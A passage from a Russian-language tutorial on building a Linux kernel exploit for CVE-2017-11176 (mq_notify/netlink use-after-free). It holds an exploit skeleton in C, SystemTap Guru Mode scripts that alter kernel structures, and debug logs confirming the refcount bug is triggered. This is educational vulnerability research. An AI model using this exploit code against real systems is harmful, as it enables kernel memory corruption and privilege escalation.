Если передаваемый аргумент не равен NULL [2], sigev_notify проверяется три раза ([3a], [3b], [3c]). Далее функция copy_from_user() вызывается еще раз ([4]), куда передается notification.sigev_value_sival_ptr из пространства пользователя. Этот указатель должен указывать на корректные пользовательские данные/буфер, доступные для чтения, иначе copy_from_user() завершится с ошибкой.

Вспоминаем, что структура sigevent объявлена здесь:

// [include/asm-generic/siginfo.h]

typedef union sigval {

int sival_int;

void __user *sival_ptr;

} sigval_t;

typedef struct sigevent {

sigval_t sigev_value;

int sigev_signo;

int sigev_notify;

union {

int _pad[SIGEV_PAD_SIZE];

int _tid;

struct {

void (*_function)(sigval_t);

void *_attribute; /* really pthread_attr_t */

} _sigev_thread;

} _sigev_un;

} sigevent_t;

Чтобы код после метки retry отработал хотя бы один раз, нужно сделать следующее:

1. Передать непустой аргумент u_notification.

2. Установить в u_notification.sigev_notify значение SIGEV_THREAD.

3. Значение, на которое указывает notification.sigev_value.sival_ptr, должно быть корректным и доступным для чтения адресом в пространстве пользователя размером NOTIFY_COOKIE_LEN (=32) байта (см. [include/linux/mqueue.h]).

Первая заготовка эксплоита

Приступаем к разработке эксплоита и попутно проверяем, чтобы не возникало никаких проблем.

/*

* CVE-2017-11176 Exploit.

*/

#include <mqueue.h>

#include <stdio.h>

#include <string.h>

#define NOTIFY_COOKIE_LEN (32)

int main(void)

{

struct sigevent sigev;

char sival_buffer[NOTIFY_COOKIE_LEN];

printf("-={ CVE-2017-11176 Exploit }=-\n");

// initialize the sigevent structure

memset(&sigev, 0, sizeof(sigev));

sigev.sigev_notify = SIGEV_THREAD;

sigev.sigev_value.sival_ptr = sival_buffer;

if (mq_notify((mqd_t)-1, &sigev))

{

perror("mqnotify");

goto fail;

}

printf("mqnotify succeed\n");

// TODO: exploit

return 0;

fail:

printf("exploit failed!\n");

return -1;

}

Чтобы облегчить разработку эксплоита, рекомендуется использовать Makefile (скрипты для сборки и запуска всегда полезны). Для компиляции нужно линковать бинарный файл, используя флаги ‑lrt, которые нужны для системного вызова mq_notify (см. «man mq_notify»). Кроме того, рекомендуется использовать опцию ‑O0, чтобы gcc не переупорядочивал код, что может привести к ошибкам, которые трудно отлаживать.

-={ CVE-2017-11176 Exploit }=-

mqnotify: Bad file descriptor

exploit failed!

Первый тест эксплоита завершился тем, что системный вызов mq_notify вернул ошибку «Bad file descriptor» (плохой файловый дескриптор), что эквивалентно «‑EBADF». Существует три места, где эта ошибка может возникнуть: один из вызовов fget() или последующая проверка (filp‑>f_op != &mqueue_file_operations).

Привет, SystemTap!

На ранних стадиях разработки очень рекомендуется запускать эксплоит в ядре вместе с отладочными символами, чтобы мы смогли использовать SystemTap, представляющий собой инструмент, который позволяет снимать параметры ядра в режиме реального времени без использования gdb. Таким образом, сильно упрощается визуализация нужных нам метрик.

Начнем с использования простейших скриптов в SystemTap:

# mq_notify.stp

probe syscall.mq_notify

{

if (execname() == "exploit")

{

printf("\n\n(%d-%d) >>> mq_notify (%s)\n", pid(), tid(), argstr)

}

}

probe syscall.mq_notify.return

{

if (execname() == "exploit")

{

printf("(%d-%d) <<< mq_notify = %x\n\n\n", pid(), tid(), $return)

}

}

Скрипт выше будет снимать параметры до и после запуска системного вызова.

Функции pid() и tid() очень помогают во время отладки нескольких потоков. Кроме того, условие (execname() == "exploit") уменьшает объем выводимой информации.

Предупреждение: если будет слишком много данных, SystemTap может по-тихому не выводить некоторые строки.

Запускаем скрипт:

stap -v mq_notify.stp

и затем эксплоит:

(14427-14427) >>> mq_notify (-1, 0x7ffdd7421400)

(14427-14427) <<< mq_notify = fffffffffffffff7

Параметры снимаются. Как видно выше, оба аргумента, передаваемые в mq_notify(), почему-то совпадают с параметрами нашего вызова (мы установили «-1» в качестве первого параметра, а значение 0x7ffdd7421400 похоже на адрес из пространства пользователя). После вызова возвращается значение fffffffffffffff7, что эквивалентно ‑EBADF (=‑9). Будем снимать новые пробы.

В отличие от хуков системных вызовов (функций, начинающихся с «SYSCALL_DEFINE*») хуки на обычные функции ядра вешаются при помощи следующего синтаксиса:

probe kernel.function ("fget")

{

if (execname() == "exploit")

{

printf("(%d-%d) [vfs] ==>> fget (%s)\n", pid(), tid(), $$parms)

}

}

Предупреждение: По некоторым причинам не на все функции ядра можно повесить хуки. Например, в случае со «встроенными» (inline) функциями все зависит от места вызова. Кроме того, на некоторые функции (например, copy_from_user()) можно повесить хук только до вызова, но не после (т.е. во время возврата результата). В любом случае System Tap выдаст предупреждение и не будет запускать скрипт.

Добавим снятие параметров на каждую функцию внутри mq_notify(), чтобы отследить поток выполнения.

После перезапуска эксплоита получаем следующее:

(17850-17850) [SYSCALL] ==>> mq_notify (-1, 0x7ffc30916f50)

(17850-17850) [uland] ==>> copy_from_user ()

(17850-17850) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(17850-17850) [uland] ==>> copy_from_user ()

(17850-17850) [skb] ==>> skb_put (skb=0xffff88002e061200 len=0x20)

(17850-17850) [skb] <<== skb_put = ffff88000a187600

(17850-17850) [vfs] ==>> fget (fd=0x3)

(17850-17850) [vfs] <<== fget = ffff88002e271280

(17850-17850) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88002e271280)

(17850-17850) [netlink] <<== netlink_getsockbyfilp = ffff88002ff82800

(17850-17850) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200 ti

meo=0xffff88002e1f3f40 ssk=0x0)

(17850-17850) [netlink] <<== netlink_attachskb = 0

(17850-17850) [vfs] ==>> fget (fd=0xffffffff)

(17850-17850) [vfs] <<== fget = 0

(17850-17850) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff82800 skb=0xffff88002e061200)

(17850-17850) [netlink] <<== netlink_detachskb

(17850-17850) [SYSCALL] <<== mq_notify= -9

Первая ошибка!

Кажется, мы успешно достигли метки retry, поскольку у нас получилась следующая последовательность:

1. copy_from_user: наш указатель не равен null

2. alloc_skb: проверка SIGEV_THREAD пройдена успешно

3. copy_from_user: берем sival_buffer

4. skb_put: предыдущий вызов copy_from_user() завершился успешно

5. fget(fd=0x3): <‑‑‑ ???

Ошибка заключается в том, что мы не инициализировали файловый дескриптор notification.sigev_signo, который должен быть равен 0, а не 3.

// initialize the sigevent structure

memset(&sigev, 0, sizeof(sigev));

sigev.sigev_notify = SIGEV_THREAD;

sigev.sigev_value.sival_ptr = sival_buffer;

Тем не менее, первый вызов fget() завершился успешно. Кроме того, оба вызова netlink_getsockbyfilp() и netlink_attachskb() сработали, что довольно странно, поскольку мы не создали ни одного сокета AF_NETLINK.

Ошибка возникает во втором вызове fget(), поскольку мы передаем «‑1» (0xffffffff) в первом аргументе системного вызова mq_notify(). Попробуем выяснить, почему.

Вначале сравним указатель sigevent со значением, которое передается в системный вызов:

printf("sigev = 0x%p\n", &sigev);

if (mq_notify((mqd_t) -1, &sigev))

-={ CVE-2017-11176 Exploit }=-

sigev = 0x0x7ffdd9257f00 // <------

mq_notify: Bad file descriptor

exploit failed!

(18652-18652) [SYSCALL] ==>> mq_notify (-1, 0x7ffdd9257e60)

Теперь становится понятно, что структура, передаваемая в mq_notify, не соответствует той, которую мы использовались в эксплоите. То есть либо ошибка в System Tap (что вполне возможно) или нас подвела обертка какой-то библиотеки.

Попробуем исправить ситуацию и вызовем mq_notify через системный вызов syscall().

Вначале добавим дополнительные заголовки и нашу собственную оболочку:

#define _GNU_SOURCE

#include <unistd.h>

#include <sys/syscall.h>

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

Не забываем удалить «‑lrt» в Makefile, поскольку теперь системный вызов будет использоваться напрямую.

Кроме того, явным образом присваиваем sigev_signo значение «-1», поскольку 0 является корректным файловым дескриптором.

Обновленный код выглядит так:

int main(void)

{

// ... cut ...

sigev.sigev_signo = -1;

printf("sigev = 0x%p\n", &sigev);

if (_mq_notify((mqd_t)-1, &sigev))

// ... cut ...

}

После запуска получаем следующий результат:

-={ CVE-2017-11176 Exploit }=-

sigev = 0x0x7fffb7eab660

mq_notify: Bad file descriptor

exploit failed!

(18771-18771) [SYSCALL] ==>> mq_notify (-1, 0x7fffb7eab660) // <--- as expected!

(18771-18771) [uland] ==>> copy_from_user ()

(18771-18771) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(18771-18771) [uland] ==>> copy_from_user ()

(18771-18771) [skb] ==>> skb_put (skb=0xffff88003d2e95c0 len=0x20)

(18771-18771) [skb] <<== skb_put = ffff88000a0a2200

(18771-18771) [vfs] ==>> fget (fd=0xffffffff) // <---- that's better!

(18771-18771) [vfs] <<== fget = 0

(18771-18771) [SYSCALL] <<== mq_notify= -9

В этот раз мы сразу же попали в код метки out после первого вызова fget(), который, как и ожидалось, завершился неудачно.

Теперь мы знаем, что можем пройти все проверки и добраться до метки retry (как минимум один раз). Проблема, связанная с некорректной работой обертки библиотеки, исправлена, и впредь, чтобы подобный сложностей не возникало, мы будем использовать собственную оболочку для каждого системного вызова.

Двигаемся дальше и переходим к воспроизведению уязвимости при помощи SystemTap.

Проверка уязвимости

Иногда требуется быстро проверить идею без перелопачивания всего кода ядра. В этом разделе мы научимся использовать продвинутый режим в System Tap под названием Guru Mode для модификации структур данных ядра и инициации потока выполнения определенных участков кода.

Другими словами, мы активируем уязвимость в пространстве ядра. Идея заключается в том, что если мы не сможем воспроизвести брешь даже в пространстве ядра, то точно не сможем решить эту задачу из пространства пользователя. Вначале попробуем удовлетворить все необходимые условия посредством модификации ядра, а затем сделаем пошагово то же самое в пространстве пользователя (см. часть 2).

Как было сказано выше, мы сможем воспроизвести уязвимость, если:

  1. Доберемся до логики повторения (кода после метки retry). То есть вначале нужно сделать так, чтобы функция netlink_attachskb() вернула значение 1. Счетчик ссылок структуры sock будет уменьшен на 1.

  2. После возвращения к метке retry (goto retry) следующий вызов fget() должен вернуть NULL, чтобы мы попали к метке out и уменьшили счетчик ссылок структуры sock во второй раз.

Вызов netlink_attachskb()

В предыдущем разделе мы выяснили, что для активации уязвимости функция netlink_attachskb() должна вернуть значение 1. Однако перед вызовом должны быть выполнены следующие условия:

  1. Мы должны предоставить корректный файловый дескриптор, чтобы первый вызов fget() завершился успешно.

  2. Файл, на который будет указывать дескриптор, должен быть сокетом с типом AF_NETLINK.

Если вышеуказанные условия будут удовлетворены, все проверки будут пройдены:

retry:

[0] filp = fget(notification.sigev_signo);

if (!filp) {

ret = -EBADF;

goto out;

}

[1] sock = netlink_getsockbyfilp(filp);

fput(filp);

if (IS_ERR(sock)) {

ret = PTR_ERR(sock);

sock = NULL;

goto out;

}

Пройти первую проверку [0] довольно просто. Нужно лишь создать корректный файловый дескриптор, используя функцию open() или socket(). Еще лучше, если мы сразу же укажем правильный тип, иначе вторая проверка [1] окончится неудачно:

struct sock *netlink_getsockbyfilp(struct file *filp)

{

struct inode *inode = filp->f_path.dentry->d_inode;

struct sock *sock;

if (!S_ISSOCK(inode->i_mode)) // <--- this need to be a socket...

return ERR_PTR(-ENOTSOCK);

sock = SOCKET_I(inode)->sk;

if (sock->sk_family != AF_NETLINK) // <--- ...from the AF_NETLINK family

return ERR_PTR(-EINVAL);

sock_hold(sock);

return sock;

}

Таким образом, код эксплоита приобретает следующий вид (не забываем обернуть системный вызов socket()):

/*

* CVE-2017-11176 Exploit.

*/

#define _GNU_SOURCE

#include <mqueue.h>

#include <stdio.h>

#include <string.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <linux/netlink.h>

#define NOTIFY_COOKIE_LEN (32)

#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)

#define _socket(domain, type, protocol) syscall(__NR_socket, domain, type, protocol)

int main(void)

{

struct sigevent sigev;

char sival_buffer[NOTIFY_COOKIE_LEN];

int sock_fd;

printf("-={ CVE-2017-11176 Exploit }=-\n");

if ((sock_fd = _socket(AF_NETLINK, SOCK_DGRAM, NETLINK_GENERIC)) < 0)

{

perror("socket");

goto fail;

}

printf("netlink socket created = %d\n", sock_fd);

// initialize the sigevent structure

memset(&sigev, 0, sizeof(sigev));

sigev.sigev_notify = SIGEV_THREAD;

sigev.sigev_value.sival_ptr = sival_buffer;

sigev.sigev_signo = sock_fd; // <--- not '-1' anymore

if (_mq_notify((mqd_t)-1, &sigev))

{

perror("mq_notify");

goto fail;

}

printf("mq_notify succeed\n");

// TODO: exploit

return 0;

fail:

printf("exploit failed!\n");

return -1;

}

Запускаем эксплоит:

-={ CVE-2017-11176 Exploit }=-

netlink socket created = 3

mq_notify: Bad file descriptor

exploit failed!

(18998-18998) [SYSCALL] ==>> mq_notify (-1, 0x7ffce9cf2180)

(18998-18998) [uland] ==>> copy_from_user ()

(18998-18998) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(18998-18998) [uland] ==>> copy_from_user ()

(18998-18998) [skb] ==>> skb_put (skb=0xffff88003d1e0480 len=0x20)

(18998-18998) [skb] <<== skb_put = ffff88000a0a2800

(18998-18998) [vfs] ==>> fget (fd=0x3) // <--- this ti

me '3' is expected

(18998-18998) [vfs] <<== fget = ffff88003cf14d80 // PASSED

(18998-18998) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003cf14d80)

(18998-18998) [netlink] <<== netlink_getsockbyfilp = ffff88002ff60000 // PASSED

(18998-18998) [netlink] ==>> netlink_attachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480 ti

meo=0xffff88003df8ff40 ssk=0x0)

(18998-18998) [netlink] <<== netlink_attachskb = 0 // UNWANTED BEH

AVIOR

(18998-18998) [vfs] ==>> fget (fd=0xffffffff)

(18998-18998) [vfs] <<== fget = 0

(18998-18998) [netlink] ==>> netlink_detachskb (sk=0xffff88002ff60000 skb=0xffff88003d1e0480)

(18998-18998) [netlink] <<== netlink_detachskb

(18998-18998) [SYSCALL] <<== mq_notify= -9

Логи, показанные выше, во много схожи с предыдущим случаем. Отличие заключается в том, что сейчас у нас полный контроль на данными (файловый дескриптор и sigev), и ничего не скрыто за библиотекой. Поскольку ни вызов fget(), ни вызов netlink_getsockbyfilp(), не вернули NULL, можно предположить, что обе проверки пройдены.

Форсирование функции netlink_attachskb() на отработку логики повторения

В предыдущем коде мы смогли достичь функции netlink_attachskb(), которая вернула 0. Сей факт означает, что отработался «стандартный» сценарий. Мы же хотим, чтобы функция вернула 1, и отработался код метки «retry». Возвращаемся в код ядра:

int netlink_attachskb(struct sock *sk, struct sk_buff *skb, long *timeo, struct sock *ssk)

{

struct netlink_sock *nlk;

nlk = nlk_sk(sk);

[0] if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) {

DECLARE_WAITQUEUE(wait, current);

if (!*timeo) {

// ... cut (never reached in our code path) ...

}

__set_current_state(TASK_INTERRUPTIBLE);

add_wait_queue(&nlk->wait, &wait);

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&

!sock_flag(sk, SOCK_DEAD))

*timeo = schedule_timeout(*timeo);

__set_current_state(TASK_RUNNING);

remove_wait_queue(&nlk->wait, &wait);

sock_put(sk);

if (signal_pending(current)) {

kfree_skb(skb);

return sock_intr_errno(*timeo);

}

return 1; // <---- the only way

}

skb_set_owner_r(skb, sk);

return 0;

}

Единственный способ заставить netlink_attachskb() вернуть «1» требует, чтобы вначале мы прошли проверку [0]:

if (atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state))

Настало время воспользоваться всей мощью утилиты System Tap и переключиться в продвинутый режим Guru Mode! Этот режим позволяет написать встроенный код на C, который будет выполнен во время снятия параметров. Этот процесс похож на написание кода и создание модуля, который внедряется во время выполнения. Однако не забывайте, что любая ошибка при программировании станет причиной краха. Теперь вы становитесь полноценным разработчиком ядра J.

Мы будем модифицировать либо структуру sock (sk) и/или структуру netlink_sock (nlk) так, чтобы условие стало истинным. Однако прежде соберем полезную информацию о состоянии структуры sock (sk).

В скрипте, используемом для снятия параметров функции netlink_attachskb(), добавим встроенный код на С между «%{« и «%}»

%{

#include <net/sock.h>

#include <net/netlink_sock.h>

%}

function dump_netlink_sock:long (arg_sock:long)

%{

struct sock *sk = (void*) STAP_ARG_arg_sock;

struct netlink_sock *nlk = (void*) sk;

_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);

_stp_printf("- sk = %p\n", sk);

_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);

_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);

_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

_stp_printf("- nlk->state = %x\n", (nlk->state & 0x1));

_stp_printf("-={ dump_netlink_sock: END}=-\n");

%}

probe kernel.function ("netlink_attachskb")

{

if (execname() == "exploit")

{

printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

dump_netlink_sock($sk);

}

}

Предупреждение: не забываем, что код выполняется в ядре, и любая ошибка приведет к краху.

Запускаем system tap с ключом ‑g, который используется для включения продвинутого режима (guru mode).

-={ CVE-2017-11176 Exploit }=-

netlink socket created = 3

mq_notify: Bad file descriptor

exploit failed!

(19681-19681) [SYSCALL] ==>> mq_notify (-1, 0x7ffebaa7e720)

(19681-19681) [uland] ==>> copy_from_user ()

(19681-19681) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(19681-19681) [uland] ==>> copy_from_user ()

(19681-19681) [skb] ==>> skb_put (skb=0xffff88003d1e05c0 len=0x20)

(19681-19681) [skb] <<== skb_put = ffff88000a0a2200

(19681-19681) [vfs] ==>> fget (fd=0x3)

(19681-19681) [vfs] <<== fget = ffff88003d0d5680

(19681-19681) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d0d5680)

(19681-19681) [netlink] <<== netlink_getsockbyfilp = ffff880036256800

(19681-19681) [netlink] ==>> netlink_attachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0 ti

meo=0xffff88003df5bf40 ssk=0x0)

-={ dump_netlink_sock: 0xffff880036256800 }=-

- sk = 0xffff880036256800

- sk->sk_rmem_alloc = 0 // <-----

- sk->sk_rcvbuf = 133120 // <-----

- sk->sk_refcnt = 2

- nlk->state = 0 // <-----

-={ dump_netlink_sock: END}=-

(19681-19681) [netlink] <<== netlink_attachskb = 0

(19681-19681) [vfs] ==>> fget (fd=0xffffffff)

(19681-19681) [vfs] <<== fget = 0

(19681-19681) [netlink] ==>> netlink_detachskb (sk=0xffff880036256800 skb=0xffff88003d1e05c0)

(19681-19681) [netlink] <<== netlink_detachskb

(19681-19681) [SYSCALL] <<== mq_notify= -9

Встроенная функция dump_netlink_sock() вызывается корректно перед вызовом netlink_attachskb(). Как видно по логам выше, первый бит поля nlk->state не установлен, а значение sk_rmem_alloc меньше, чем sk_rcvbuf. Таким образом, проверка не пройдена.

Попробуем поменять nlk‑>state перед вызовом netlink_attachskb():

function dump_netlink_sock:long (arg_sock:long)

%{

struct sock *sk = (void*) STAP_ARG_arg_sock;

struct netlink_sock *nlk = (void*) sk;

_stp_printf("-={ dump_netlink_sock: %p }=-\n", nlk);

_stp_printf("- sk = %p\n", sk);

_stp_printf("- sk->sk_rmem_alloc = %d\n", sk->sk_rmem_alloc);

_stp_printf("- sk->sk_rcvbuf = %d\n", sk->sk_rcvbuf);

_stp_printf("- sk->sk_refcnt = %d\n", sk->sk_refcnt);

_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));

nlk->state |= 1; // <-----

_stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

_stp_printf("-={ dump_netlink_sock: END}=-\n");

%}

Запускаем:

-={ CVE-2017-11176 Exploit }=-

netlink socket created = 3

<<< HIT CTRL-C HERE >>>

^Cmake: *** [check] Interrupt

(20002-20002) [SYSCALL] ==>> mq_notify (-1, 0x7ffc48bed2c0)

(20002-20002) [uland] ==>> copy_from_user ()

(20002-20002) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(20002-20002) [uland] ==>> copy_from_user ()

(20002-20002) [skb] ==>> skb_put (skb=0xffff88003d3a6080 len=0x20)

(20002-20002) [skb] <<== skb_put = ffff88002e142600

(20002-20002) [vfs] ==>> fget (fd=0x3)

(20002-20002) [vfs] <<== fget = ffff88003ddd8380

(20002-20002) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003ddd8380)

(20002-20002) [netlink] <<== netlink_getsockbyfilp = ffff88003dde0400

(20002-20002) [netlink] ==>> netlink_attachskb (sk=0xffff88003dde0400 skb=0xffff88003d3a6080 ti

meo=0xffff88002e233f40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88003dde0400 }=-

- sk = 0xffff88003dde0400

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

- sk->sk_refcnt = 2

- (before) nlk->state = 0

- (after) nlk->state = 1

-={ dump_netlink_sock: END}=-

<<< HIT CTRL-C HERE >>>

(20002-20002) [netlink] <<== netlink_attachskb = fffffffffffffe00 // <-----

(20002-20002) [SYSCALL] <<== mq_notify= -512

Упс! Вызов mq_notify() оказался заблокированным (то есть в ядре главный поток эксплоита остановился внутри системного вызова). Однако мы можем вернуть ситуацию под контроль, нажав CTRL‑C.

Обратите внимание, что в этот раз функция netlink_attachskb() возвратила 0xfffffffffffffe00, что соответствует ошибке «‑ERESTARTSYS». Другими словами, отработался следующий код:

if (signal_pending(current)) {

kfree_skb(skb);

return sock_intr_errno(*timeo); // <---- return -ERESTARTSYS

}

То есть отработал код другой ветки функции netlink_attachskb(), и наша миссия завершена успешно.

Обход блокировки

Причину, по которой вызов mq_notify() оказался заблокированным, иллюстрирует следующий код:

__set_current_state(TASK_INTERRUPTIBLE);

if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf || test_bit(0, &nlk->state)) &&

!sock_flag(sk, SOCK_DEAD))

*timeo = schedule_timeout(*timeo);

__set_current_state(TASK_RUNNING);

Более детально механизм планирования будет рассмотрен позже (во второй части), а сейчас просто отмечаем, что наша задача остановлена до тех пор, пока не будут удовлетворено особое условие, связанное с очередью ожидания.

Можем ли мы обойти планировщик и блокировку? Чтобы решить эту задачу, нужно избежать вызова schedule_timeout(). Пометим структуру sock как «SOCK_DEAD» (последняя часть условия), изменив содержимое sk (как делалось ранее), чтобы функция sock_flag() вернула истину.

// from [include/net/sock.h]

static inline bool sock_flag(const struct sock *sk, enum sock_flags flag)

{

return test_bit(flag, &sk->sk_flags);

}

enum sock_flags {

SOCK_DEAD, // <---- this has to be '0', but we can check it with stap!

... cut ...

}

Изменяем скрипт для снятия параметров:

// mark it congested!

_stp_printf("- (before) nlk->state = %x\n", (nlk->state & 0x1));

nlk->state |= 1;

_stp_printf("- (after) nlk->state = %x\n", (nlk->state & 0x1));

// mark it DEAD

_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);

_stp_printf("- SOCK_DEAD = %x\n", SOCK_DEAD);

sk->sk_flags |= (1 << SOCK_DEAD);

_stp_printf("- sk->sk_flags = %x\n", sk->sk_flags);

После повторного запуска главный поток эксплоита оказался в бесконечном цикле внутри ядра по следующим причинам:

  • Происходит вызов функции netlink_attachskb() и отработка кода после метки retry, поскольку мы форсировали выполнение этого сценария.

  • Поток не попал под режим планирования, поскольку мы внесли нужные изменения.

  • Функция netlink_attachskb() вернула значение 1.

  • После возврата в mq_notify() сработала инструкция «goto retry».

  • Функции fget и netlink_getsockbyfilp() вернули непустые значения

  • Мы стали повторно вызвали netlink_attachskb() и так до бесконечности.

Таким образом, мы избежали вызова schedule_timeout(), который нас блокировал, но попали в бесконечный цикл.

Прерывание бесконечного цикла

Нам нужно, чтобы второй вызов fget() завершился неудачно, что можно реализовать, если удалить файловый дескриптор из таблицы FDT (то есть установить соответствующий элемент равным NULL):

%{

#include <linux/fdtable.h>

%}

function remove_fd3_from_fdt:long (arg_unused:long)

%{

_stp_printf("!!>>> REMOVING FD=3 FROM FDT <<<!!\n");

struct files_struct *files = current->files;

struct fdtable *fdt = files_fdtable(files);

fdt->fd[3] = NULL;

%}

probe kernel.function ("netlink_attachskb")

{

if (execname() == "exploit")

{

printf("(%d-%d) [netlink] ==>> netlink_attachskb (%s)\n", pid(), tid(), $$parms)

dump_netlink_sock($sk); // it also marks the socket as DEAD and CONGESTED

remove_fd3_from_fdt(0);

}

}

-={ CVE-2017-11176 Exploit }=-

netlink socket created = 3

mq_notify: Bad file descriptor

exploit failed!

(3095-3095) [SYSCALL] ==>> mq_notify (-1, 0x7ffe5e528760)

(3095-3095) [uland] ==>> copy_from_user ()

(3095-3095) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(3095-3095) [uland] ==>> copy_from_user ()

(3095-3095) [skb] ==>> skb_put (skb=0xffff88003f02cd00 len=0x20)

(3095-3095) [skb] <<== skb_put = ffff88003144ac00

(3095-3095) [vfs] ==>> fget (fd=0x3)

(3095-3095) [vfs] <<== fget = ffff880031475480

(3095-3095) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff880031475480)

(3095-3095) [netlink] <<== netlink_getsockbyfilp = ffff88003cf56800

(3095-3095) [netlink] ==>> netlink_attachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00 time

o=0xffff88002d79ff40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88003cf56800 }=-

- sk = 0xffff88003cf56800

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

- sk->sk_refcnt = 2

- (before) nlk->state = 0

- (after) nlk->state = 1

- sk->sk_flags = 100

- SOCK_DEAD = 0

- sk->sk_flags = 101

-={ dump_netlink_sock: END}=-

!!>>> REMOVING FD=3 FROM FDT <<<!!

(3095-3095) [netlink] <<== netlink_attachskb = 1 // <-----

(3095-3095) [vfs] ==>> fget (fd=0x3)

(3095-3095) [vfs] <<== fget = 0 // <-----

(3095-3095) [netlink] ==>> netlink_detachskb (sk=0xffff88003cf56800 skb=0xffff88003f02cd00)

(3095-3095) [netlink] <<== netlink_detachskb

(3095-3095) [SYSCALL] <<== mq_notify= -9

Прекрасно! Ядро вышло из бесконечного цикла. Кроме того, мы все ближе и ближе подходим к реализации запланированного сценария атаки:

1. Функция netlink_attachskb() вернула 1.

2. Второй вызов fget() вернул NULL.

Теперь нужно проверить, произошла ли активация уязвимости?

Проверка статуса счетчика ссылок

Поскольку теперь все идет согласно намеченному плану, уязвимость должна сработать, и счетчик ссылок структуры sock должен уменьшится дважды. Проверяем.

Во время съема параметров после вызова функции невозможно проверить параметры, которые были до вызова. То есть мы не можем проверить содержимое sock во время возврата из функции netlink_attachskb().

Чтобы решить эту задачу, нужно сохранить указатель структуры sock, возвращаемый функцией netlink_getsockbyfilp(), в глобальную переменную (sock_ptr в скрипте), а затем выгрузить содержимое переменной при помощи встроенного кода на C внутри функции dump_netlink_sock():

global sock_ptr = 0; // <------ declared globally!

probe syscall.mq_notify.return

{

if (execname() == "exploit")

{

if (sock_ptr != 0) // <----- watch your NULL-deref, this is kernel-land!

{

dump_netlink_sock(sock_ptr);

sock_ptr = 0;

}

printf("(%d-%d) [SYSCALL] <<== mq_notify= %d\n\n", pid(), tid(), $return)

}

}

probe kernel.function ("netlink_getsockbyfilp").return

{

if (execname() == "exploit")

{

printf("(%d-%d) [netlink] <<== netlink_getsockbyfilp = %x\n", pid(), tid(), $return)

sock_ptr = $return; // <----- store it

}

}

Снова запускаем скрипт.

(3391-3391) [SYSCALL] ==>> mq_notify (-1, 0x7ffe8f78c840)

(3391-3391) [uland] ==>> copy_from_user ()

(3391-3391) [skb] ==>> alloc_skb (priority=0xd0 size=0x20)

(3391-3391) [uland] ==>> copy_from_user ()

(3391-3391) [skb] ==>> skb_put (skb=0xffff88003d20cd00 len=0x20)

(3391-3391) [skb] <<== skb_put = ffff88003df9dc00

(3391-3391) [vfs] ==>> fget (fd=0x3)

(3391-3391) [vfs] <<== fget = ffff88003d84ed80

(3391-3391) [netlink] ==>> netlink_getsockbyfilp (filp=0xffff88003d84ed80)

(3391-3391) [netlink] <<== netlink_getsockbyfilp = ffff88002d72d800

(3391-3391) [netlink] ==>> netlink_attachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00 time

o=0xffff8800317a7f40 ssk=0x0)

-={ dump_netlink_sock: 0xffff88002d72d800 }=-

- sk = 0xffff88002d72d800

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

- sk->sk_refcnt = 2 // <------------

- (before) nlk->state = 0

- (after) nlk->state = 1

- sk->sk_flags = 100

- SOCK_DEAD = 0

- sk->sk_flags = 101

-={ dump_netlink_sock: END}=-

!!>>> REMOVING FD=3 FROM FDT <<<!!

(3391-3391) [netlink] <<== netlink_attachskb = 1

(3391-3391) [vfs] ==>> fget (fd=0x3)

(3391-3391) [vfs] <<== fget = 0

(3391-3391) [netlink] ==>> netlink_detachskb (sk=0xffff88002d72d800 skb=0xffff88003d20cd00)

(3391-3391) [netlink] <<== netlink_detachskb

-={ dump_netlink_sock: 0xffff88002d72d800 }=-

- sk = 0xffff88002d72d800

- sk->sk_rmem_alloc = 0

- sk->sk_rcvbuf = 133120

- sk->sk_refcnt = 0 // <-------------

- (before) nlk->state = 1

- (after) nlk->state = 1

- sk->sk_flags = 101

- SOCK_DEAD = 0

- sk->sk_flags = 101

-={ dump_netlink_sock: END}=-

(3391-3391) [SYSCALL] <<== mq_notify= -9

Как видно по логам выше, счетчик ссылок sk‑>sk_refcnt был уменьшен дважды, и нам удалось активировать уязвимость.

Поскольку счетчик ссылок структуры sock стал равен 0, структура netlink_sock освободится. Обновляем скрипт для сбора параметров.

... cut ...

(13560-13560) [netlink] <<== netlink_attachskb = 1

(13560-13560) [vfs] ==>> fget (fd=0x3)

(13560-13560) [vfs] <<== fget = 0

